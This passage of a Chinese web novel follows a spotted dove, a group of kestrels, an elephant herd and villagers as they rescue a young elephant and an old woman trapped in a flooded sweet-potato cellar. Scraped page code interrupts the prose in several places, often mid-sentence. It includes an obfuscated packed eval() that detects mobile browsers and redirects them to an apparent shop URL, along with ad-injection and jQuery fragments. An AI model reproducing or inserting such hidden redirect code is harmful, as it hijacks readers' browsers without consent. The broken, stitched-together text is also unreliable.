他夹着翅膀,下意识地往朱云深的身上贴,不过嘴上没忘记自己的正事,“大人,你帮帮我,请你让红隼大家帮帮我! “有一头小象掉到山坡下面去了,她是我刚认识的新朋友。除了小象,可能还有一个人类小女孩。 “我一只鸟没有办法把她们给救上来!” 听到他说的话,朱云深的表情倏地一凛,“你是说象?” “对!”安澄用力地点头。 “我知道了。”朱云深甩了一下身上的水,重新展开翅膀。“你跟我来。” 于是两鸟又重新飞入漫天的大雨中,承着厚重的雨水朝某个方向而去。 飞行了不过几分钟之后,安澄在潮湿的雨水当中看见了或许会让他终生难忘的一幕——十头高大的成年亚洲象一头头有序地竖排在一起,仿佛厚重的矮山一般矗立在大雨中,破开细密如麻的雨幕,雨水从深灰色的皮肤上滚落,她们如蒲扇一般的大耳垂在颊侧,长而有力的鼻子半抬着抓住前一头大象扫动的尾巴。 领头的母象不知是看到了什么,竟然高举着长鼻嗥鸣起来。 “咘——” 如沉暮的钟声,又好像响亮的警笛,哗哗的雨声在那一瞬间被压下,方圆几里似乎只剩下了母象发出的声音。 这便是整个亚洲最大的陆上哺乳类动物,没有之一。 安澄不自觉地浑身一颤,从灵魂的深处生出一股敬畏来。 而身旁的朱云深好似没有受到影响,他毫不犹豫地朝着领头的母象飞去。安澄犹豫了几秒,也还是跟在了他的后面。 甫一落在矮树上,就听到朱云深对领头象说:“英恩首领,有了呀呀的消息。” “真的吗?”被称作英恩首领的领头母象激动起来,声音有些低哑,很容易便能听出她已经经历过了许多漫长的岁月。“呀呀在哪里?” 朱云深扭头看向安澄,英恩也投以目光。 安澄知道这些估计就是丧彪的家象了,而呀呀大概就是丧彪原本的名字。 “她掉下了泥坡,滚进了草里,快去救她!”他扇动翅膀飞到象队的前面,扯着嗓子又大喊了一遍。“丧……呀呀掉下了泥坡,现在需要帮助,她需要救援!” 一众母象听到这个消息很快就躁动起来。 象群的集体观念非常强,新生象的诞生对于整个族群来说都是喜事,而一头小象整个族群的母象可能都轮流照看、一起养。 因此不管是谁诞下的孩子,丧彪的意外对于所有的母象而言都是个坏消息。 “地方在哪里?”英恩立刻询问,象脸上的表情非常严肃。“快带我们去。” 安澄没有犹豫,领着象群朝丧彪跌落的泥坡而去。 几乎没有任何东西能够阻挡住这个象群,她们自由地穿行在山林田野之间,仿若视天地为无物,但纷纷又非常默契地没有伤害到耕地里的农作物。 没花费多长的时间,他们就横穿到了出事的地方。 安澄现在才知道,原来两地的直线距离这么短。 而在他离开的这段时间,土坡的情况似乎变得更糟了——附近的一大片都塌了下去,泥块散成松土把坡下方的植株都压了不少。 英恩在看到这个场景的时候,面上的表情愈发冷峻。 大象不比其他的某些小型哺乳类动物,她们身形庞大,然而动作也会相应地笨拙些许,在暴雨天下泥泞的土坡去救小象,这件事情对于她们而言难度系数不低。 “我先下去看看。”安澄福至心灵,扑扇着翅膀往坡下靠近了些,“先去观察一下情况。” 刚刚是他太着急了,竟然忘记了自己是一只可以飞下去勘察情况的鸟,看也没看、想也没想地离开去寻求帮助。 确实也应该结合下面的情况再商量救援方式的。 然而虽然安澄自告奋勇,但心中还是有些说不出的慌张和焦虑,他怕下去之后会看到那个奶声奶气喊他“小大安澄”、说要自己成立族群的小象出事的场景。 他知道,其实他远没有平时展现出来的那么淡然和无所谓。 英恩点了下鼻子,“辛苦你了。” 安澄对着点点脑袋,然后朝着坡下飞。 不过只往前飞了一小段,他救突然感受到身边多了一个身影,偏头看去,发现是朱云深。 朱云深没回以他眼神,只是默默地跟在他身边,十分照顾地用相同的速度与他一齐往下。 即使什么话都没说,安澄也在这样的时候感受到了无名的力量。 这个禽兽……其实也没他想象中的那么冷漠。 一路向下,飞过被泥浆压垮的茂密杂草,安澄终于得见土坡下面的场景。 一个坑、一个很大的坑,丧彪被卡在坑中,长鼻高高举起。 说是坑可能也不贴切,准确而言那是一个被废弃了的红薯窖。 红薯窖的,特定历史条件下的产物,因为用以储存红薯而得名。整个窖的形状近似于一个倒着的“T”字,窖口是个深入地面的直筒子,口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806837|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部狭窄而底部的空间比较大。大多数人的红薯窖都挖在家的院落中,但也有人会选择在耕地周围挖一个简易的来暂时储存。 农业科技不断发展,红薯逐渐淡出主食地位,红薯窖也慢慢地退出了历史的舞台。 然而有部分人管挖不管埋,待日子久了,红薯窖周围便会长满杂草野花,窖口被覆盖遮掩住,形成了一个十分危险田野陷阱。 一般红薯窖的口其实并不太大,换做其他的象可能只会卡一只脚进去,很顺利就能抽回,然而丧彪还未成年,她的体型让她正正好好地卡在了里面,连转身都困难。 可最危险的还不是这个。 连绵了几个小时的大雨到现在也没有停歇的趋势,甚至还越下越大,红薯窖肉眼可见地蓄了很多积水,随着大雨的不停,水位线逐渐在涨高。 这也就意味着,他们的时间有限,否则丧彪会窒息在水中。 又往下往前飞了一段距离,彻底没了杂物的遮挡视野便更加清晰,而安澄也在这个时候才发现坑中不止丧彪一头象,在她的背上,还驮着一个干瘦的老人。 老人的腹部还在起伏,五官难受得拧成一团,但没见到有什么太大的伤口,四肢也是正常的状态,估计是昏迷了过去。 难道那是小女孩要寻找的奶奶? 那小女孩又在哪里? 没再浪费时间多想,他和朱云深一起往红薯窖飞去。 一边靠近,安澄一边扯着嗓子大喊,“丧彪,丧彪?我是安澄,你现在感觉怎么样,还能听见我说话吗?” “我带着人来救你了,如果你能听见我说话,就回答一下我,或者给我一点反应好不好?” 丧彪现在整头象是接近于四脚踩地的倾斜状态,脸埋在红薯窖的深处,眼睛也被遮盖住,让人难以分辨她现在的情况到底如何。 喊了许久都没有听见熟悉的奶音,安澄的心一点点地沉了下去。 就在他几近于绝望的时候,那个高举着的鼻子像是挥手般动了动。 安澄的心猛地一跳,“丧彪,听见我说话了对吗?你现在还醒着对吗?听见了再动一动鼻子。” 丧彪的长鼻便又动了动,像个小脑袋般乖巧地一点一点着。 “好好好,太好了!”安澄往下飞,开始仔细观察这个丧彪现在卡着的具体情况,“我看看怎么把你给救出来。” “那个缝隙你可以钻进去。”朱云深突然开口,用利爪指了一下丧彪和红薯窖壁之间的小缝。“你用绳子把她捆上,然后象群一起把她拉上来。” 安澄仔细地观察了一下,发现朱云深说有道理,但其实还有可以改善的空间。 他用圆乎乎的脑袋点了下红薯窖旁边的地,“这个红薯窖在斜坡上,如果有条件,其实可以在侧边把窖口刨松刨出一条路来,拉丧彪的同时让她有地方借力走出来,这样会轻松很多,可惜……”可惜他们只是一群鸟。 朱云深神色不明地看了安澄一眼,但没多问,只低嗯了一声。“那我们先去找绳子。” “绳子……绳子……”安澄的眼睛倏地一亮,“我知道有个地方可以弄来。” 25. 人类要攻击怎么办? 安澄和朱云深跟英恩简单地说明了一下情况,其余的红隼也不知道在什么时候聚集到了这边。 “跟我来。”他想了下,又说:“可能需要一头大象帮助我们。” 英恩没有拒绝的理由,当下就喊了队伍当中的一头母象跟上他们。 于是安澄便带着一众鸟和一头象紧急地往某个方向飞,不多时,一幢带着小院落的房屋便出现在他们的视野当中。 正是他和丧彪躲雨的那户人家。 房门紧掩着,但窗户却半开,安澄顺着窗子的缝隙钻到了屋内。 也正是这个时候,他才得以窥见这户人家最真实的情况——不算大的面积、陈旧的家具、漏水的天花板、堆积的生活用品、浆洗到发白的被褥床单,角落里面还堆放了一些农作物。 仅是一眼,安澄就能知道,房屋主人的生活或许并不轻松。 安澄垂头看了眼自己的鸟爪子,此时此刻突然感觉到了有些无能为力。 如果他现在还是人的话…… 不,现在不是想这些的时候! 他很快回过神,然后迅速反身将门给打开,让一众红隼也能够成功进来。 “我们去拿床单被子还有衣服,能拿多少拿多少。” 寻常人家不会储备有粗麻绳等东西,但太细的绳子也无法承受住丧彪的重量,因此用布料搓成绳是最好的选择。 他们这些鸟可能做不到,不过大象可以。 大象的鼻子由几万条肌纤维组成,拥有极为丰富的神经联系,与人的手一样灵活,所以这对她们而言并不困难。 说完,安澄看了眼朱云深,朱云深继而给了朱海一个眼神,随后朱海才发话。“快。” 话音方落,一众红隼就快速地动作起来。 一件件、一条条、一套套地被鸟喙衔着往屋外带,安澄率先将它们放在母象的背上,众隼也有样学样,直到房中再无可利用的布料、母象的背上坨了厚厚一堆,他们才将将停手。 “走走走,现在赶紧回去。” 看着被自己人洗劫一空的房屋,安澄心中默念了声抱歉,而后把门带上又往事故现场而去。 东西刚拿到的时候她们还有些懵,但大象的智商很高,安澄只是简单地解释几句,她们便理解了其中关隘。 十头象一齐开始编织布绳,每一个衔接之处都被扯得紧紧的,不过几分钟,分散的各类布料就在她们的撕扯连接之下成为了一条几十米长的绳子。 无需再有过多的解释,众鸟十分默契地抓着长绳往坡下方的红薯窖飞去。 老人的情况和走的时候差不多,腹部平缓起伏、呼吸还算均匀绵长,就是不知道被压在下面的丧彪怎么样了。 “丧彪,丧彪你现在感觉怎么样?”安澄在飞行的间隙高喊,“我们现在来救你了,你要是能够听见,就再动一动鼻子。” 他紧紧地盯着那个高举着的长鼻,直到看见它挥手般地动了动,才松了一口气。 身位逐渐放低靠近一象一人,落到旁边的石块上后,他看向飞在旁边的众隼,笃定地说:“我去把丧彪套起来,辛苦你们在这里等我。” 众隼没说话,唯独朱海看了眼朱云深。 不知为什么,安澄也下意识地向悬停在空中的朱云深投去眼神。 想要什么他不知道,但也总在期待着某些东西。 还没等他捋清楚自己的内心,朱云深就振翅飞到离他很近的地方,而后垂头用喙轻轻地碰了下他湿漉漉的圆脑袋,说:“注意安全。” 又说:“我会一直在这里。” 莫名的,安澄感受到一股被加注在身上的力量,好像狂乱的心和呼吸都被抚平的。 他挺起自己不再毛茸茸的胸脯,高举起自己的脑袋,“开玩笑,我可是伟大的珠颈斑鸠,这点小事,轻轻松松就拿捏,等着我的好消息!” 说着,他抓着绳子,径直往红薯窖飞去。 雨水不停地冲击、泥土逐渐便松软,丧彪和红薯窖壁之间的缝隙也变小很多,安澄对比了一下大小,找准方位之后扑扇着翅膀艰难地往里挤。 黏糊糊、软塌塌的泥浆沾在他身上,让他的身体变得更沉重,可爪中的绳子却没放开。 往下挤了十多公分,安澄看见了丧彪藏在红薯窖里的脸。 大大的耳朵被挤压得皱成一团,紧闭的嘴巴贴在泥墙上,眼睛也阖着,整张脸都是泥水,呼吸在这样的挤压之间变得很艰难。而窖中蓄的水也越来越多,随时有将她淹没的风险。 总之,情况比他想象中的要糟一些。 “丧彪,我来了。”安澄在她的耳边说。 困在这样狭小的空间当中无法动弹,心理可能可能比生理更先崩溃,所以他必须不停地告诉丧彪他在这里、告诉她所有鸟和象都没有放弃她。 丧彪忽然慢慢地把眼睛睁开一条缝,在看见安澄之后,将紧闭的嘴角艰难地勾起一个很小的弧度,然后对着他眨了眨眼睛。 安澄突然很没出息地想哭,但还好克制住了。 他抓着绳子往丧彪的腹下飞去,把长绳缠绕在她的身体和四肢上,嘴上也没停。“丧彪,我们现在做一个比赛好不好?” 丧彪眨了眨眼睛。 “我们比赛耐力怎么样?如果你坚持到了最后出去,那就算你赢了,如果你中途……中途睡着了或者累到没有力气了,那就是我赢了。输了的话,你就不能再自己去建立族群,不能成为英勇的领象了。比不比?” 丧彪很用力地眨了下眼睛。 安澄笑了出来,“好,那现在比赛正式开始!” 在说话之间,安澄已经用绳子将丧彪和被她坨在背上的老人给绑住。 他使用的是蝴蝶结绑法,这种绑法常见于救援活动,能使绳的中间形成一个绳圈,大多时候用来拖拽车辆、重物,实在在丧彪的身上十分适合。 只是在窖中实施实在有些难,一番操作下来,他的体力已经所剩无几。 检查了一圈,发现没有遗漏之后,安澄准备飞出红薯窖。 不过在离开之前,他凑过去贴在丧彪的脸上,用圆乎乎的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋蹭了蹭她的脸颊。“丧彪,这个世界上还有很多美食等着你去吃、很多风景等着你去看,你也要加油才行啊!我在外面等你,等你赢得这场比赛。” 丧彪艰难地控制自己脸上的肌肉,与他很轻地碰了下。 安澄重新从缝隙挤出去,粘腻的泥浆几乎将他浑身都裹了一遍,淋湿的羽毛结成一块一块,飞行变得越发困难。 到了最后,他几乎是翅爪并用爬出的窖口,甫一出去,就趴在地上大喘气。“可以了!可以了!” 朱云深却在此时倏地靠近,而后有些不明所以地将他轻抓起藏在腹下。 “大人?”安澄一惊。 但朱云深没有对此做出任何解释,而是转头对朱海说: “告诉英恩首领,可以拉了。” 朱海的眼神在他们两鸟之间流转几圈,喙基旁圆圆的黑斑越发生动,但语气仍旧正直稳重。“好。”说完,就和其他的隼一起抓着两端绳头朝象群飞去。 而一段对话下来,朱云深似乎也没有松爪的意思。 安澄便干脆躺平任抓,其实这样还挺不错的,不仅能够感受到隼暖烘烘的温度,还能在他的腹下挡雨,更不用在自己费力地飞。 他挪动身体在朱云深的爪中慢慢地换了一个更舒服的姿势,对着在红薯窖当中的丧彪大喊道:“现在要拉你了,丧彪,你做好准备!” 小象鼻动了动,示意自己听见了。 象群蓄势待发,一众红隼也默契且主动地做好了准备,他们一个接着一个地悬停在布绳旁,为红薯窖和象群之间做传话工作,以此减少来回飞行缩浪费的时间。 安澄见队形已经排好,便高声大喊道:“好,三、二、一,开始!” 此信息在很短的时间内经由红隼传递给象群,不过一会儿,那布绳就因为用力而绷紧。 一群大象一齐用力,效果十分显著,卡在红薯窖的丧彪隐隐有了被向上拉动的迹象,靠近泥坡窖口也被挤得变了形。 刚开始挪动得还不是很明显,直到她们猛地一个发力,丧彪变被拉着往上提了好些距离,并且能看见了她的大耳朵。 “好好好!”安澄欣喜地大喊着,仿佛一个产婆般对众象报着进度,“头马上就要出来了!” 得到消息的隼和鸟都被鼓舞到,越发振奋。 然而不知是上面可活动的空间太小,还是丧彪卡得太紧,亦或者是地势的阻碍,进度竟然突然停在了这里,不管她们怎么努力都没有再往上半分。 甚至丧彪的皮肤还在这样的拉扯之间被磨坏、蹭破,高高举起的鼻子疼得在抽动。 安澄的心一下就提了起来。 还没等他们突破这个瓶颈找出解决的办法,忽然响起了一道震惊的声音。 “怎么回事,这是在做什么?” 不管听不听得懂话里的内容,象群和鸟群都有被惊扰到,不约而同地顺着声音的方向看去。 一群人类。 这些人类面带惊恐,在与他们对视上后竟然纷纷高举起手中的铁铲和锄头,摆出攻击之态。 26. 丧彪昏倒了怎么办? 西南傣族很早之前就与象结下了不解之缘,他们的创世神话、始祖神话中都存在象的身影,白神象更是他们推崇之最,在人们心中它象征着风调雨顺、五谷丰登,因此在傣族的建筑、民俗故事、雕塑、壁画等文化中都可以看到有关于象的痕迹。 随着近些年的环境保护、野生动物保护工作的展开,野生象群的数量逐渐增加、更为频繁地出现在人视野中,多数情况下,象与人相处得都还算和谐。 然而这并非代表着象与人之间全然没有矛盾,即使大象的智商再高,在没有经过学习与训练的情况下还是会和人类存在沟通交流障碍,只能根据人的行为动作来推断当下情况。 而此刻。 一群人类、手拿具有伤害性的农具、动作防备、面色惊恐……一系列的关键词无疑在向象群传递一个信息——人类想要进行攻击。 虽然性格温顺,但坐以待毙向来都不是她们的本性。 英恩警惕地看着人群,身后的尾巴在焦躁地甩动着,大耳朵不停地扇动,只剩长鼻还死死地抓着布绳。其余的母象也接收到信息,慢慢地移动四肢转变了些许方向,仿佛只等英恩一声令下就会发起攻击。 人与象之间的战争,似乎一触即发。 正在此时,人群的后面挤出了一个身形瘦弱的女孩,她好似没有发现氛围的焦灼,指着坡下大喊:“奶奶,奶奶!奶奶就在下面!” 这么几句话,让一直没敢出声的安澄终于弄清楚了事情的原委。 他拱了几下,示意抓着他的朱云深往前飞。 待距离近了些后,他扯着嗓子对英恩喊道:“英恩首领,她是来找奶奶的,丧……呀呀背上的那个老年人类就是小女孩的奶奶!这些人类没有恶意,手上的工具可能也只是为了方便救人,我们可以顺势跟他们合作。” “真的吗?”英恩看了他一眼,疑虑还没有完全打消。 “千真万确!” “大人、大人,”安澄抻着脑袋蹭了蹭朱云深的下腹,“你把我放下来,我去跟那个女孩做做思想工作。” 朱云深将那些人打量了几遍才把安澄到附近的树杈上,“人类也吃鸟,小心点。” “嗯嗯啊。”安澄应答几声,即刻扑扇着翅膀朝小女孩而去。 那些人看见他的靠近,纷纷将手中的农具握得更紧了些。 安澄也没有傻乎乎地认为自己体型小就不会被攻击,所以谨慎地隔着一段不远不近的距离,落在地上和小女孩交流。 “咕咕,咕咕咕?” 是我啊,你还记得我吗? “咕咕,咕咕咕……” 你奶奶就在下面,她现在没事,我带你们下去。 小女孩愣了几秒,试探性地说:“你是今天那只咕咕鸟吗?” 安澄猛地点头。 又知道他们可能听不懂自己刚刚说的鸟语,他喙翅并用,一边咕咕一边展开自己的翅膀尖尖指向坡下的红薯窖。 一众人类看到这个场面,纷纷哗然于他的“通人性”,然而除之之外再没什么其他的反应。 安澄暗自叹了口气,他往自己指方向走了几步,而后停下来看向他们,看了几秒又继续往前走,就如此往前走回头、往前走回头地循环往复了好一段的距离。 终于,有人勘破了安澄的想法。 “老叔,这只鸟是不是要给我们带路哦?”其中一个男人开了口,面露惊奇地看着安澄。“我总感觉他像是要开口说话了一样。” 那个被喊老叔应声,“可能是的,是不是说妞儿的奶奶就在下面?” 小女孩听见了关键词,一下激动起来。“是是是,这只鸟今天还来了我家门口,他一定是来帮我们救奶奶的!我们快点下去!” “走走走。” 闻言,他们没再犹豫,拿着手中的农具开始顺着泥坡快速地往下爬,小女孩也急急忙忙地扯着附近杂草的根爬到了下面。 安澄见状,也跟着一齐往下飞。 -“唉哟唉哟,造孽哦!我讲怎么这么多大象在这里嘞,原来这里还有一头小的大象。” -“妞儿的奶奶在这小象的背上,是不是它救了她哦!” -“搞误会了搞误会了。” -“你讲这动物这么聪明啊?还晓得给她们绑绳子。” -“别讲了别讲了,水要淹上来了,快点把人和象都一起救上来。” 一群人一人一句地惊呼,方才的误会就这样被巧妙化解。 安澄扯着嗓子给一众鸟和象做翻译,“他们已经知道我们在救呀呀和老人了,现在决定跟我们一起努力!” 此消息隼传隼、象传象,大家又重新振奋起来。 事实证明,有趁手的工具确实要方便许多。 在锄头、铁锹、铲子的帮助下红薯窖的口被挖大挖松,让丧彪终于有了可活动的空间,而后他们又借着工具,在靠近斜坡方向的窖口处往外挖出了一条可以慢慢往上走的缓坡,使丧彪可以借着众象拉动的力道往上走。 看出了他们想法的安澄赶忙对还困在窖里的丧彪传递信息,“丧彪丧彪,待会儿拉你的时候,你就往那个坡上走。” “我们一起加油!” 听见他话的丧彪动了动自己的小鼻子。 在把路挖出来之后,他们也没选择作壁上观,而是一人接着一人快速地抓握住布绳——他们要与象群一起用力将丧彪和老人拉上来。 这点不需要安澄转述,象群也发现了。 由是这个时候,以英恩为首的象群才终于真正地放下戒备,和人类同心协力起来。 “我喊开始就开始哈!”为首的男人高喊着,安澄将这话又对众隼众象翻译了一遍。 “好,三、二、一,开始!” 话音落下的瞬间,象群和人群就一齐开始用力,她们与他们宛若拔河一般将力道一阵一阵地往布绳上倾注,而长久生活在这里的人们好像有什么无言的默契,嘴中纷纷地喊起了没有什么实际意义的语气词。 “嘿诶!” “嘿诶!” “嘿诶!” 象群竟然也听懂了这些词汇里所包含的意义,更加默契地融入到他们的节奏里。 被卡住得丧彪终于在众人众象的努力之下被拉出最狭窄的口,她僵持许久的身体开始慢慢地动起来,四只还不算特别有力的腿努力地在泥壁上蹬着。 泥浆沾满她的四肢,一层又一层膏药般难缠地粘在腿上,肉眼可见她的步伐变得沉重,但她没有放弃,借着众人给她的力道、顺着人类挖出的那条缓坡她慢慢地往上走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 不知过了多久,她终于脱离那个困了她几个小时的窖口,重新站上坚实平缓的土地。 “好!好!好!” “上来咯,上来咯。” 一众人放下手中的布绳高声呼喊起来,在坡上的象群也在瞬间知晓了成功,纷纷高举长鼻发出兴奋的嗥鸣。 就连实际和他们不怎么熟悉的隼也雀跃起来。 但或许是在洞中卡了太久,丧彪有些虚弱,四肢也明显地支撑不住身体在微微地打颤,最后有些抗不住般坐在了地上。 安澄赶忙扑扇着翅膀往丧彪的方向飞过去,跌跌撞撞地停到她的脑袋上。“丧彪丧彪,你没事吧?你现在感觉怎么样?你真是吓死我了,知不知道!” 长鼻将他轻柔地卷起,而后举到了前面。 他们面对着面、眼对着眼,丧彪对着他眨了眨眼睛。“小大安澄,我很好呀,我超级好的!” “哦,对了!”然后像是想到了什么,她又急急忙忙地问:“我背上的那个人类呢?她现在怎么样?” 那群人已经在他们交谈的间隙将丧彪背上的老人给放了下来,因为长时间暴露在大雨中,她的面色变得有些青紫,但胸部起伏还算平缓、四肢也没有受过大伤的痕迹。 “奶奶,奶奶!”小女孩扑上去,抱着自己的奶奶大喊。“我是妞儿,奶奶!” 老人在昏迷之中听到呼喊,给出了非常微弱、似有若无的反应。 安澄眨了眨自己的眼睛,用自己湿漉漉、圆乎乎的脑袋蹭了蹭丧彪的鼻子。“她会没事的,她还活着,人类医生一定能够把她给治好的!” 这话不知是在安慰小女孩、安慰丧彪,还是安慰他自己。 丧彪没听出他语气的复杂,兴奋地扇动耳朵,“好诶~” 然后又把安澄拉近了些问:“那现在我赢了吗?” “是的,你赢了。我宣布这场比赛是丧彪取得了胜利!她将会成为世界上最厉害最勇敢的母象!”安澄说。 但丧彪又问:“但我救了那个人类,把她从洞里面捞了上来,所以能再加一个最善良的母象吗?” 安澄很用力地点头,“可以可以,当然可以!” “好诶~我是世界上最厉害最勇敢最善良的母象,我以后一定会建立自己的大大大族群的!”丧彪兴奋地大喊几声,但话音落下又像是终于夙愿已了般疲惫地侧躺于地,沉重地大喘着气,“但是我好累呀,我可以休息一下吗?” 安澄一梗,小小的心脏疯狂地跳动起来。 “丧彪!丧彪!” “你别闭眼睛,别睡,不要这样。” 可他的声音这次没能将丧彪唤醒,她疲惫而又缓慢地将自己的眼睛闭上了。 安澄没经历过什么死别,不知道濒死的动物会是怎样的,但在他朴素的认知当中这样极限的情况下闭了眼可能就再也没有办法醒来。 他接受不了这样的结果,徒劳地一遍又一遍地呼喊丧彪的名字,希望她能够给出一些反应。 除此之外,竟然什么办法也没有。 而在他内心逐渐坠入绝望的时候,不远的地方响起了救护车和消防车的声音。 “咋回事哦?” 抱着奶奶的小女孩怯生生地开口,“是我打的电话。” 27. 又被语言暴力了怎么办? 不知道小女孩什么时候打的电话,也不知道小女孩都说了什么。 医护人员和消防员很快就赶到这边,看到这混乱的大场面竟然也没有太过惊讶,熟稔地开始处理事故现场,消防员甚至准备了可以装抬丧彪的担架,动作敏捷地将这头昏迷的小象给带了起来。 “发生什么事情了?”英恩和一众大象还在坡上面的小道,由于视野受限,刚刚没能看见丧彪的昏倒。“为什么又来了这么多的人类。” 安澄扇动翅膀飞上去,犹豫再三,还是将事情的真相告诉了她们。“丧彪出来之后就昏倒了。” “什么?!” 将象救出来的欢欣和激动一扫而空,她们的情绪再次变得焦躁,英恩甚至还想要不顾危险地强行地走下泥坡。 “这些人类也是来帮我们的。”安澄赶忙解释,“他们应该是打算把丧彪带去到医院治疗。” 英恩面上的紧张散去少许,可虽然知道了真相,但她们也还是不放心,执意要跟着一起去。 “呀呀是我们的孩子,每一个孩子都得来不易并且万分珍贵。”英恩说。 安澄当然没有阻挠的理由。 也不知道是不是经常和野生动物打交道,即使他们还什么都没来得及做,这群消防员竟然也猜到了象群心中的意思——他们主动地派了个人在附近借了辆速度较慢的三轮车,打算给一群象带路步行去救治场所。 又似乎是提前知道伤患还有一头小象,消防员开了一辆盖了绿色防雨篷布的仓栅式轻卡来,丧彪被稳稳地带入到货箱中。 而一众隼从前忙到后,当然不会选择在这个时候就离开,他们直接当着消防员们的面跟了皮卡的货箱,安澄也紧随其后。 最话痨的小象正在昏迷,隼们忙前忙后风里雨里也已经疲惫不堪,由是货箱中静悄悄,除却雨水砸下、防雨布被刮动的脆响外,其余什么的也听不见。 这样毫无生气的死寂让安澄觉得有些窒息,他跑到角落、攀上货箱的栅拦,然后把脑袋挤出防雨布。 然后,抬头四十五度仰望天空的忧伤。 啊,生而为鸟…… 然而还没正式进入情绪,边上就突然探出另外一个脑袋。 “大人,你怎么也跟着一起出来了?!” 安澄大惊失色。 他倒也算了,朱云深怎么也会做这样看起来不聪明的事情? 难道是雨下太大,脑袋进水了? 朱云深神色自若地望着路旁的的风景,被雨打湿头上的羽毛也不见半分狼狈,“想看看你还会用什么方式走丢。” 安澄:…… 这是在嘲讽他吗?这就是在嘲讽他吧! 安澄超低低低低地哼了一声,悄悄地往旁边挪开一公分拉远距离。 发生了这么多的事情,他都这么难过了,朱云深竟然还在拐着弯地语言暴力他,简直是道德的沦丧、鸟性的泯灭、社会的毒瘤! 然而不知道是绵绵不绝的风雨催生人的愁绪,还是身边的鸟让他停止了压抑自己的心情。 安澄自己生了一会儿鸟气,又自己没忍住主动开了口。 “大人,我是不是很没用?”这话他憋在心里很久了,但先前跟谁也没办法说、更不适合说,只能暗自消化,现在有了个和朱云深还算是独处的空间,就有些克制不住自己的倾诉欲了。 “其实都怪我,是我让丧彪出门找那个小女孩的,如果我没有那么做的话,她其实也不会遭受这样的苦难折磨,我……我可能就是个丧门星。” 所以他的爸爸妈妈才会生下他却不愿意养他。 “麻雀飞不过喜马拉雅山,草木躲不过风霜雪雨天。”朱云深蓦地回复。 安澄一怔,没能很快反应过来。“什么意思?” “意思就是,你已经做到能做的了。”朱云深的语气淡淡、表情也淡淡,安抚和夸赞都是那么如常,好似在做一件稀疏平常的事情。“你没能把呀呀救上来,是因为你只是一只珠颈斑鸠,呀呀和你会遇见这些,也是因为你们无法躲避一定会发生的事情。” “是吗?”安澄很快速地眨了几下眼,脑袋在这瞬间变得很空,但心又莫名其妙得很满。 这是一种非常难言的感觉,他无法细说出感受,可阴郁的确散去不少,心情也明媚许多。 “我……” “不过你被掳走的时候不喊救命,”朱云深这个时候才终于扭了头,用一双相较于其他红隼颜色更深的眼睛看着安澄。“是觉得亚洲象不会吃珠颈斑鸠吗?还是觉得待在一头幼象的身边比待在一群隼的身边好?” 坏了,盲点还是被发现了。 安澄嘿嘿嘿地笑了几声,两爪娇羞地互搓,“如果我说当时我刚好被弄下树、刚好在没反应过来的时候被丧彪抓住、喙又刚好被她的鼻子堵住了,你相信吗?” 朱云深嗤笑一声,“你可以在下次我进食的时候,刚好进我的隼肚。” 安澄:…… “哎呀,今天的太阳真大啊。”安澄迅速地转移话题,生硬地扭开自己的脑袋开始没有目的地左顾右盼。“月亮也很圆,真好看。” “珠颈斑鸠也真的很美味。”朱云深冷冷道。 安澄一个激灵,猛地把脑袋缩回防雨布中。“我去看看丧彪怎么样了。” === 最后兽医给出丧彪的诊断结果是:年纪太小熬不住,太累了,所以睡过去了,身上的小擦伤不碍事,很快就会好。 这让众鸟与象群都大大地松了一口气。 而秉持着种花家来都来了的优良传统,一只珠颈斑鸠、七只隼、十头象也被附赠了一套野生动物全身大体检,以及专业人士的松筋活骨大保健。 忙碌了大半日的安师傅、朱师傅们、英师傅们心中大石终于放下,也在这样面面俱到的服务之下逐渐生出睡意,最后彻底熬不住,窝在舒适恒温环境中舒舒服服地补了一个大觉。 === 安澄再次睁开双眼,是被丧彪和英恩等象的争执声给吵醒的。 “我讨厌你们才会走的呀!我才不想要跟你们一起玩了呢,不要不要不要。”丧彪一个劲地摇头,垂在脸侧大大的耳朵跟着动作一起扇动,鼻子也在一甩一甩。“坏祖母,坏妈妈,坏阿姨,坏姑姑,坏姐姐……都坏都坏都坏!!!” 刚睡醒的安澄反应还十分迟钝,被声音吸引着无知无觉梦游般地走到了她们的身边。 而还没来得及开口,就被丧彪用长鼻子卷住了身体。 她将他高举起来,摆在英恩面前让她们看。“我不要跟你们好了,现在我跟小大安澄才是最好的,他会让我赢,还会叫我超厉害的名字。 “我要跟他一起出去建立属于我们的族群,比祖母的族群还要大好多好多好多……好多个好多那么多。” 莫名加入到家族争端的安澄:??? 姐姐!你的坏祖母坏妈妈可是能一脚把我踩成肉泥的,求你放过我。 “哈哈,哈哈哈……”他尬笑几声,没敢回头去看英恩等象的表情。“小孩子家家的,别开玩笑……” 英恩似乎也有些无奈,放柔了声音,“呀呀……” 可话还没说完,就被丧彪大声打断。“不许这样叫我!” 或许是意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 识到这样大声对长辈说话有些没礼貌,她心虚又愧疚地扇动了几下耳朵,接下来的话把声音放低了许多,“我不喜欢呀呀这个名字,我知道,你们就是在嘲笑我说话总是说‘呀’,所以才这样叫我的。” “怎么会呢?”英恩耐心解释道,“我们都是觉得你可爱才这样叫你啊,呀呀是我们所有人的宝贝。” “我才不想要可爱呢。”丧彪转动自己的身体,用侧脸面对英恩。“厉害的母象是不应该可爱的,你们说我可爱,就是在说我不厉害……” 英恩似乎还想要就此解释,可连抬了几下鼻子也没能说出些什么来,不得其法的她只能暂时将视线转到安澄身上。 “安澄,谢谢你帮助了我们,也谢谢你救了我们家呀……我们的小象。” 